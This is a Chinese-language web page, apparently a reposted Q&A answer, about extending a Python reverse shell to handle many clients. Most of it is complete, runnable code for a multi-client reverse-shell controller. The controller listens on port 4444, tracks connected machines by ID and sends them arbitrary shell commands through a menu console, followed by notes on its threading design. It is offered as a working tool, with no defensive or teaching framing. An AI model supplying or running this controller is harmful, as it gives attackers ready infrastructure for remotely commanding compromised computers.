You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何修改Python反向Shell以支持多连接及客户端管理

多客户端反向Shell服务器实现方案

以下是完整的可运行代码,同时附带核心逻辑的拆解说明,解决多客户端连接和服务器交互器的需求:

import socket
import threading
import sys
import time

# 线程安全的客户端存储结构:(客户端ID, 套接字对象, 客户端地址)
clients = []
client_lock = threading.Lock()
client_id_counter = 0

def handle_client(client_socket, client_addr, client_id):
    """单独处理单个客户端的消息接收逻辑"""
    global clients
    print(f"[+] 新客户端接入: ID {client_id} - {client_addr}")
    
    try:
        while True:
            # 接收客户端执行命令后的输出内容
            output = client_socket.recv(4096).decode('utf-8', errors='ignore')
            if not output:
                # 客户端主动断开连接时,recv会返回空
                break
            # 打印客户端返回的结果(若要和交互器分离输出,可调整打印位置)
            print(f"\n[客户端 {client_id}] 输出:\n{output}")
    except Exception as e:
        print(f"[!] 客户端 {client_id} 连接异常: {str(e)}")
    finally:
        # 清理断开的客户端连接,线程安全操作
        with client_lock:
            clients = [c for c in clients if c[0] != client_id]
        client_socket.close()
        print(f"[-] 客户端 {client_id} 已断开")

def listen_for_clients(host, port):
    """后台线程:持续监听新客户端连接"""
    global client_id_counter
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((host, port))
    server_socket.listen(5)
    print(f"[*] 服务器启动成功,监听地址: {host}:{port}")
    
    while True:
        client_socket, client_addr = server_socket.accept()
        # 线程安全的客户端ID分配与列表添加
        with client_lock:
            client_id_counter += 1
            client_id = client_id_counter
            clients.append((client_id, client_socket, client_addr))
        # 启动独立线程处理该客户端,避免阻塞监听逻辑
        client_thread = threading.Thread(target=handle_client, args=(client_socket, client_addr, client_id))
        client_thread.daemon = True
        client_thread.start()

def server_interactive():
    """服务器交互器:管理客户端、发送控制命令"""
    while True:
        print("\n===== 服务器控制台 =====")
        print("1. 列出所有已连接客户端")
        print("2. 选择客户端执行命令")
        print("3. 关闭服务器")
        choice = input("请输入操作序号: ").strip()
        
        if choice == '1':
            with client_lock:
                if not clients:
                    print("[-] 当前无在线客户端")
                else:
                    print("[+] 在线客户端列表:")
                    for idx, (client_id, _, client_addr) in enumerate(clients):
                        print(f"  {idx+1}. ID: {client_id} | 地址: {client_addr}")
        elif choice == '2':
            with client_lock:
                if not clients:
                    print("[-] 当前无在线客户端")
                    continue
                print("[+] 在线客户端列表:")
                for idx, (client_id, _, client_addr) in enumerate(clients):
                    print(f"  {idx+1}. ID: {client_id} | 地址: {client_addr}")
                try:
                    selected_idx = int(input("请输入目标客户端序号: ").strip()) - 1
                    if selected_idx < 0 or selected_idx >= len(clients):
                        print("[-] 无效的序号,请重新输入")
                        continue
                    client_id, client_socket, _ = clients[selected_idx]
                except ValueError:
                    print("[-] 请输入有效的数字序号")
                    continue
            
            print(f"[+] 已选中客户端 {client_id},输入命令执行,输入'exit'返回控制台")
            while True:
                command = input(f"[客户端 {client_id}] # ").strip()
                if command.lower() == 'exit':
                    break
                if not command:
                    continue
                try:
                    client_socket.send(command.encode('utf-8'))
                    # 给客户端预留处理命令的时间,可根据网络情况调整
                    time.sleep(0.3)
                    output = client_socket.recv(4096).decode('utf-8', errors='ignore')
                    if output:
                        print(f"\n{output}")
                except Exception as e:
                    print(f"[-] 命令发送失败: {str(e)}")
                    break
        elif choice == '3':
            print("[*] 正在关闭服务器...")
            # 关闭所有客户端连接,释放资源
            with client_lock:
                for _, sock, _ in clients:
                    try:
                        sock.close()
                    except:
                        pass
            sys.exit(0)
        else:
            print("[-] 无效操作,请重新输入")

if __name__ == "__main__":
    # 启动后台监听线程,不阻塞主线程的交互器运行
    listen_thread = threading.Thread(target=listen_for_clients, args=('0.0.0.0', 4444))
    listen_thread.daemon = True
    listen_thread.start()
    
    # 启动服务器交互器,占据主线程
    server_interactive()

核心逻辑说明

  1. 线程安全的客户端管理

    • 用threading.Lock()保证多线程对clients列表的修改不会出现竞态问题(比如同时添加/删除客户端导致列表损坏)
    • 每个客户端分配唯一ID,避免用地址或套接字识别的混乱
  2. 分离监听与交互逻辑

    • 将监听客户端的逻辑放到后台线程,主线程专注运行交互器,解决了之前因accept()阻塞主线程无法操作的问题
    • 每个新客户端连接都会启动独立线程处理,实现真正的多客户端并发
  3. 交互器功能实现

    • 菜单式操作,覆盖列出客户端、选择控制、退出服务器三个核心需求
    • 选中客户端后直接通过对应的套接字发送命令,接收返回结果直到输入exit回到主菜单
  4. 异常处理与资源清理

    • 客户端断开或异常时自动从列表移除并关闭套接字
    • 服务器退出时遍历关闭所有客户端连接,避免资源泄漏

内容的提问来源于stack exchange,提问作者Annor Gyimah

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.21 05:12:19